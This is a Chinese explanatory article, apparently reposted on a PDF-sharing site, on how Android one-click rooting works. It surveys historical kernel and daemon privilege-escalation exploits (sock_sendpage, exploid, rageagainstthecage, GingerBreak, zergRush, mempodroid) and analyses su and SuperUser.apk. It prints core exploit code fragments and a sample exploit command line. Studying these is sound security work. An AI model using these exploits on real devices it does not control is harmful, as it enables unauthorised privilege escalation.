Android手机一键 Root原理分析


Android 手机一键 Root 原理分析 图/文 非虫 一直以来,刷机与 Root 是 Android 手机爱好者最热衷的事情。即使国行手机的用户也不惜冒着失去保修的 风险对 Root 手机乐此不疲。就在前天晚上,一年一度的 Google I/O 大会拉开了帷幕,最新的 Android4.1 系统成 为了大会的热点,经过短短的几个小时后,网上就有人泄露了 Jelly Bean 的下载地址,再然后就有了 Android 4.1 带 Root 的完整刷机包,真是强大的人们! Root 的由来 什么是 Root?Root 本身是指 Linux 系统的 root 帐户,该帐户拥有整个系统至高无上的权利,系统中的所有对 象它都可以操作,对于 Android 手机用户来说的 Root 是指拥有 Root 权限,一般情况下,手机厂商出于安全考虑 会关闭手机的 Root 权限,手机系统是运行在普通用户权限下的,用户是无法操作系统中的文件与数据的。 Root 与刷机本身是有很多关联的,而且随着刷机工具的便利与刷机原理的变化,两者的关系更加是模糊不 清了。不同厂商针对获取 Root 权限设置了不同的要塞。 首先从刷机说起,如 HTC 手机在刷机前需要保证 S-OFF,S-OFF 代表什么呢?S 代表 Security Lock 安全锁, 保护锁的意思,S-OFF 就是关掉锁保护。然后是 Motorola 的手机,这个厂商对于不同型号的手机设置是不同的, 很多 Motorola 型号的手机将 BootLoader 是锁住的,因此,在刷机前需要先解锁 BootLoader。还有中兴手机,这 厂商更是变态,一次次的版本升级只是为了锁住用户不让用户升级,也就导致了同一型号的手机由于版本不同有 的型号带 Recovery,有的又不带。三星的手机现在可以说是最好卖的,一方面是出色的硬件配置与外观,另一方 面是有众多的 Rom 包可以刷。三星的好几款手机是 Google 源码的测试样机,而且三星手机在出厂时对用户的限 制相比其它品牌是较少的,这也是广大 Android 开发者对它青睐有加的原因。 早先的 Android 手机要想获取 Root 权限可以有以下几种方式: 1. 使用本地提权漏洞利用工具来直接 Root,这是最原始最纯洁的方式。随着厂商对 Rom 的升级,这些内 核的漏洞随时都可能被修补,因此,这种 Root 方法在时间与空间上都有着很大的局限性。 2. 由于手机厂商对硬件的封闭,加上内核补丁修补很完全,这个时候获取 Root 权限就更难了,这个时候 刷机与 Root 就联合起来了,由于不能从系统内部通过 Exploits 来获取 Root 权限,只能通过修改 Rom 包来达到 Root 的目的,这也是目前很多第三方 Rom 包自带了 Root 的原因,然而手机厂商也不是吃 干饭的,手机厂商在 OTA 升级时使用 Recovery 对包签名进行验证来防止用户刷入修改过的包。对于 这种变态的厂商,只能通过 FastBoot 来线刷了,这里内容就不再展开了。 3. 当然,还有一部分厂商,为了吸引更多用户购买他们的手机,还是在手机中偷偷的留了后门的,比如不 锁 BootLoader,让用户刷第三方的 Recovery,又或是干脆留个以前的漏洞不补,让用户自己来 Exploits 等等。 Root 漏洞的历史 Root 漏洞不是与生俱来的,这是全世界优秀的计算机黑客不懈努力的成果。也许那个你在夜店喝酒的夜晚, 他们正寻找着系统的漏洞,一次次的测试,一次次的失败,最终在你醉得不省人事的时候,他们获取到了系统的 最高控制权。他们欢呼,他们嚎叫,他们是全天下是聪明的人! 也许你对他们的事迹不屑一顾,但我相信你对他们的研究成果是饶有兴趣的。下来由我来带领大家,看看这 一路走来,都出现过哪里牛人,他们又为我们带来了哪些惊喜。 CVE-2009-2692 我无法知道 Android 提权漏洞是从哪个开始的,但我在我印象中,它是最早的。这个漏洞的发现者是 Zinx, 他是探索 Android 安全之路的先驱。现在每个 Root 后的手机中肯定有 SuperUser.apk 软件,而 Zinx 就是早先 SuperUser 的作者,现在 SuperUser 由 ChainsDD 来负责更新了,Zinx 前辈常年混迹于国外 xda 论坛,不过现在好 像很少露面了。 这个洞是 09 年的,现在早已经修补了。从 Zinx 提供的 android-root-20090816.tar.gz 压缩包时间来看,这个 Exploit 是在 Android NDK r1 发布后近两个月公布的,可见 Zinx 研究 Android 的时间是多么的早!这个洞的原作 者并不是 Znix,Znix 只是将洞移植到了 Android 上,这个洞的作者在 Exploit 中给出的协议驱动程序包括 pppox, bluetooth, appletalk, ipx, sctp,Znix 改写的 Android 版本使用的 buletooth 协议。这个漏洞的起因是 sock_sendpage() 的空指针解引用。因为 sock_sendpage 没有对 socket_file_ops 结构的 sendpage 字段做指针检查,有些模块不具备 sendpage 功能,初始时赋为 NULL,这样,没有做检查的 sock_sendpage 有可能直接调用空指针而导致出错并提 升权限! 接着,sendfile(fdout, fdin, NULL, PAGE_SIZE);的调用使得该洞被触发,最终执行以下代码获取到 Root 权限: int __attribute__((section(".null"))) root_sendpage(void *sk, void *page, int offset, size_t size, int flags) { current->uid = current->euid = 0; current->gid = current->egid = 0; got_root = 1; return -ECONNREFUSED; } CVE-2010-EASY 这个漏洞是由“The Android Exploid Crew”小组发现的。在公布的代码中,提供了多达三种的提权方法!分 别是 exploid.c、exploid2.c、rageagainstthecage.c 三个文件。 exploid.c 与属于 exploid2.c 同一类 Exploit,这个洞的形成是由于 udev 对热插拔消息检测不严导致的,用户 通过发送恶意信息让内核加载自定义的恶意程序从而取得 root 权限。在代码中,两者都是通过 NET_LINK 来完 成通信,只是在处理“geteuid() == 0”时代码不同而以,程序发送伪热插拔消息,让内核执行自身代码,而内核 由于没有检查消息发送者是内核还是用户,就匆忙的执行了,这时“geteuid() == 0”条件成立,接下来只需开个 sh 就完成了 Root 工作。创建 Socket 并发送消息的代码如下: if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket"); close(creat("loading", 0666)); if ((ofd = creat("hotplug", 0644)) < 0) die("[-] creat"); if (write(ofd, path , strlen(path)) < 0) die("[-] write"); close(ofd); symlink("/proc/sys/kernel/hotplug", "data"); snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c" "SUBSYSTEM=firmware%c" "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0); printf("[+] sending add message ...\n"); if (sendmsg(sock, &msg, 0) < 0) die("[-] sendmsg"); close(sock); rageagainstthecage.c 这个洞有人把它称为 setuid 提权漏洞,这个漏洞的形成过程我个人感觉只能用“巧妙” 来形容!代码通过将 adbd 后台服务子进程耗尽迫使 adbd 重启,adbd 在重启的时候具有 root 权限,正常情况下 这时 adbd 会调用 setuid 将权限降到 shell,但是由于 rageagainstthecage 让 adbd 的僵尸进程充斥着整个系统,这时 候 setuid 会调用失败,最后 adbd 就被保留了 root 权限运行,从而完成 root 提权。核心代码如下: 1 if (fork() > 0) 2 exit(0); 3 4 setsid(); 5 pipe(pepe); 6 7 if (fork() == 0) { 8 close(pepe[0]); 9 for (;;) { 10 if ((p = fork()) == 0) { 11 exit(0); 12 } else if (p < 0) { 13 if (new_pids) { 14 printf("\n[+] Forked %d childs.\n", pids); 15 new_pids = 0; 16 write(pepe[1], &c, 1); 17 close(pepe[1]); 18 } 19 } else { 20 ++pids; 21 } 22 } 23 } 24 close(pepe[1]); 25 read(pepe[0], &c, 1); 第 1-3 行代码 fork 子进程后退出,第 4-6 行子进程独立并创建两支管道同来同步进程,具体是由第 8 行与第 25 行是一关一读来实现的,第 10-11 行是不停的创建子进程,然后不停退出,这时僵尸产生了!直到最后 p < 0 输出创建的子进程数目。在这段代码执行完后会重启 adb 进程,adb 进程重启会执行 setgid(AID_SHELL)与 setuid(AID_SHELL)两行代码来降权,可是这时候由于进程数达到上限 setuid 执行失败,这就使得 adb 进程以 Root 权限继续执行下去了。 GingerBreak GingerBreak 本身不是 Linux 内核漏洞,因此它没有正规的漏洞编号。与上面的漏洞同样的是,GingerBreak 也是由“The Android Exploid Crew”小组“发明”的,它的工作原理与 Hook 类似,通过代码修改/system/bin/vold 程序的 GOT 表项,将 strcmp()、atoi()等函数的地址为 system()函数的地址,然后触发调用 strcmp()或 atoi()来达 到执行 system()的目的,而后者真正被执行后会为我们来带久违的 Root Shell,修改函数地址的代码片断如下: vold.pid = found; vold.found = 1; if (vold.system) return; ptr = find_symbol("system"); vold.system = (uint32_t)ptr; 在修改完函数地址后,就要考虑如何来触发了,“The Android Exploid Crew”小组再一次使用了 NET_LINK 进行通信,通过发送热插拔消息让 void 中的 strcmp()或 atoi()被调用!但不同的 Android 系统版本可能操作起来 有所不同,于是,需要手工构造消息,然后发送: /* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc. * inside vold main binary. * Arent we smart? Using old school technique from '99 to fsck NX while others * re-invent "ROP". Wuhahahahaha!!! */ if (honeycomb) { n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0); } else if (froyo) { n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, bsh, 0, 0, vold.system, 0, 0); } else { n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0); } 可以看到,代码的适用范围是 froyo 到 honeycomb,仔细看一下代码的注释部分,代码的作者真的卡哇伊呢! zergRush 同 GingerBreak 一样,zergRush 也不属于内核漏洞。这个漏洞是大名鼎鼎的 Revolutionary 工具开发小组公布 的,这个小组开发的 Revolutionary 解锁工具对于 HTC 的用户应该不陌生吧!这个漏洞的原理是由于 libsysutils.so 库 中的 FrameworkListener::dispatchCommand 函数的一个栈变量引起的,栈 变 量 argv[FrameworkListener::CMD_ARGS_MAX]由于允许的最大下标为 16,如果我们特意传送超过 16 个空格分割 的字符串,函数就会溢出。 整个溢出工具的代码框架与 GingerBreak 是一样的,我估计是在 GingerBreak 代码基础上加工的,嘿嘿,整 个代码的核心部分在 do_fault 函数中,代码设计十分巧妙,经过精心的构造最终执行安排的 Shellcode,整个过程 通过代码阅读很难在大脑中建立模型结构,建议还是手动调试好。 以上介绍的几个漏洞代码都是优秀的,无可挑剔的,它们目前在全球各地以各种名称与形式存在着。 CVE-2012-0056 2012 年 1 月 23 日,正当我们与家人聚在一起吃团年饭的时候,国外的小伙 zx2c4 在自己的主页上公布了此 漏洞,随后,xda 上的网友 saurik 对其编写了 Android 版本的 Exploit。这个漏洞的原理是利用系统中具体 s 属性 的程序通过自修改程序的内存,执行 Shellcode 达到获得 Root 权限的目的。完成修改进程内存的动作前需要解决 两个问题: 1. 系统只允许$pid 进程或者$pid 的调试进程对/proc/$pid/mem 文件进行写入。 2. 系统会检查打开/poc/$pid/mem 的程序的 self_exec_id 是否与当前运行的程序相同,一个进程使用 exec() 后 self_exec_id 会自动加一,以此来保护内存不会被别的程序修改。 解决第一个问题很简单,可以直接打开自己进程的内存即可,第二个问题就难办了,因为进程打开自己时 self_exec_id 已经加一了,zx2c4 使用子进程来巧妙的解决了这个问题,首先 fork()子进程来保存进程的 mem 文件到 CMSG_DATA,然后父进程使用 dup(2)创建 2 号 fd,接着 dup2(mem, 2)将 mem 的内容 dup2 给 2 号 fd, 这时 2 号 fd 指向了/poc/$pid/mem 的 fd,下一步是构造参数 args,调用"/system/bin/run-as"来执行 Exploit,代 码如下: …… int save = dup(2); dup2(mem, 2); close(mem); if (save != 3) { dup2(save, 3); close(save); } char self[1024]; _syscall(readlink("/proc/self/exe", self, sizeof(self) - 1)); char *args[4 + argc + 1]; args[0] = strdup("run-as"); args[1] = (char *) exploit; args[2] = self; args[3] = strdup("-"); int i; for (i = 0; i != argc; ++i) args[4 + i] = argv[i]; args[4 + i] = NULL; _syscall(execv("/system/bin/run-as", args)); return 0; 漏洞利用程序在运行时需要提供三个参数 exit()函数地址、setresuid()函数地址以及一个命令,如 Root 掉 Galaxy Nexus 手机可以执行:./data/local/tmp/mempodroid 0xd7f4 0xad4b sh exit()与 setresuid()函数地址的获取很简单,可以使用 objdump 查找,可以使用如下代码来获取: int main(void) { void* lib = dlopen("libc.so", RTLD_NOW | RTLD_GLOBAL); void* symbol; if (lib == NULL) { fprintf(stderr, "Could not open self-executable with dlopen(NULL) !!: %s\n", dlerror()); return 1; } symbol = dlsym(lib, "exit"); if (symbol == NULL) { fprintf(stderr, "Could not lookup symbol exit !!: %s\n", dlerror()); return 2; } printf("exit() addr:%08x\n", symbol); symbol = dlsym(lib, "setresuid"); if (symbol == NULL) { fprintf(stderr, "Could not lookup symbol setresuid !!: %s\n", dlerror()); return 2; } printf("setresuid() addr:%08x\n", symbol); dlclose(lib); return 0; } 这个漏洞目前是最新的,并且漏洞的补丁是 Linux 的父亲 Linus 亲自提交的。在最新 ICS 4.0.2(ICL53F)以 前的 Android 系统中,这个漏洞可以正常工作。 su 与 SuperUser.apk 是如何协作的 在 Root 后手机会植入 su 与 superuser.apk 两个文件,前者会被放入手机的/system/bin 目录下,后者被放到 /system/app 目录下,它们组合在一起,为系统提供了 su 权限的管理。这两个工具目前由 xda 论坛上的 ChainsDD 在维护(顺便说一下,国内 xxRoot 工具也有自已的 su 与 SuperUser.apk 文件,修改取自并修改于 ChainsDD 的代 码,并且版权被切)。 su 程序与 Linux 平台上的 su 本身无太大差别,只是由于系统的特殊性去掉了部分内容,并加上了一些控制 代码。su 程序保留的命令行参数不多,“-c”与“-s”可能是最常用的,整个程序核心功能由两个方向性的函数 allow()与 deny()组成,在经过计算获取到了命令行参数与命令后,会执行以下代码: if (su_from.uid == AID_ROOT || su_from.uid == AID_SHELL) allow(shell, orig_umask); if (stat(REQUESTOR_DATA_PATH, &st) < 0) { PLOGE("stat"); deny(); } …… setgroups(0, NULL); setegid(st.st_gid); seteuid(st.st_uid); AID_ROOT 与 AID_SHELL 分别是 root 与 shell 权限,程序直接放行,stat()函数会检查手机是否安装有 SuperUser.apk,没有程序会拒绝执行。条件满足就会以 Superuser 的权限往下执行: db = database_init(); if (!db) { LOGE("sudb - Could not open database, prompt user"); dballow = DB_INTERACTIVE; } else { LOGE("sudb - Database opened"); dballow = database_check(db, &su_from, &su_to); sqlite3_close(db); db = NULL; LOGE("sudb - Database closed"); } switch (dballow) { case DB_DENY: deny(); case DB_ALLOW: allow(shell, orig_umask); case DB_INTERACTIVE: break; default: deny(); } database_init()与 database_check()负责从 SuperUser.apk 程序 databases 目录下的 permissions.sqlite 数据库中读 取权限设置,这也是为什么 SuperUser.apk 有能力控制 su 的原因!(人家主动找上门的)等 dballow 弄到手,该放 行该拒绝就看着办了,如果没搜索到记录就代表是第一次,需要往下建立 socket 来 send_intent,send_intent()采 用底层构造 Intent 方式来发送广播,这个广播会被 SuperUser.apk 接收,等返回后会给你返回个字符串“ALLOW” 或“DENY”,这时候 su 程序该咋地就咋地了: if (send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) { deny(); } if (socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) { deny(); } …… if (!strcmp(result, "DENY")) { deny(); } else if (!strcmp(result, "ALLOW")) { allow(shell, orig_umask); } else { LOGE("unknown response from Superuser Requestor: %s", result); deny(); } 下面是 SuperUser.apk 的工作了,上面的广播会被 SuperUser.apk 的 SuRequestReceiver 广播接收者收到,广播 接收者首先读取 prompt 设置,如果用户要的是自动处理,那就根据这个值来对 Root 权限请求自动拒绝或自动放 行,如果不自动处理,就到数据库中搜索权限规则,并根据结果发回处理,另外 SuperUser 除了对普通的程序进 程 su 权限控制外,还提供了 NFC、SecretCode、PinCode 的监控,SuperUser 同时注册了安装与卸载 Apk 的广播 接收者,在安装与卸载时会对权限数据库中的条目进行更新或删除操作,限于篇幅,SuperUser 的详细实现在此 就不再展开了。 到这里本文就告一段落了。本文主要分析了手机 Root 权限获取的过程,并介绍了常见的几个 Root 提权漏洞, 最后通过分析 su 与 SuperUser.apk 的协作方式解了 Root 真正的原理。感谢源码爱好者提供下载空间,由于本人 知识有限,文中难免会有纰漏或理解出错的地方,如果您有任何问题或建议,还望来信指正,我的 Emali: fei_cong@hotmail.com
还剩6页未读

继续阅读

下载pdf到电脑,查找使用更方便

pdf的实际排版效果,会与网站的显示效果略有不同!!

需要 8 金币 [ 分享pdf获得金币 ] 0 人已下载

下载pdf

pdf贡献者

sportsboy

贡献于2014-12-05

下载需要 8 金币 [金币充值 ]
亲,您也可以通过 分享原创pdf 来获得金币奖励!
下载pdf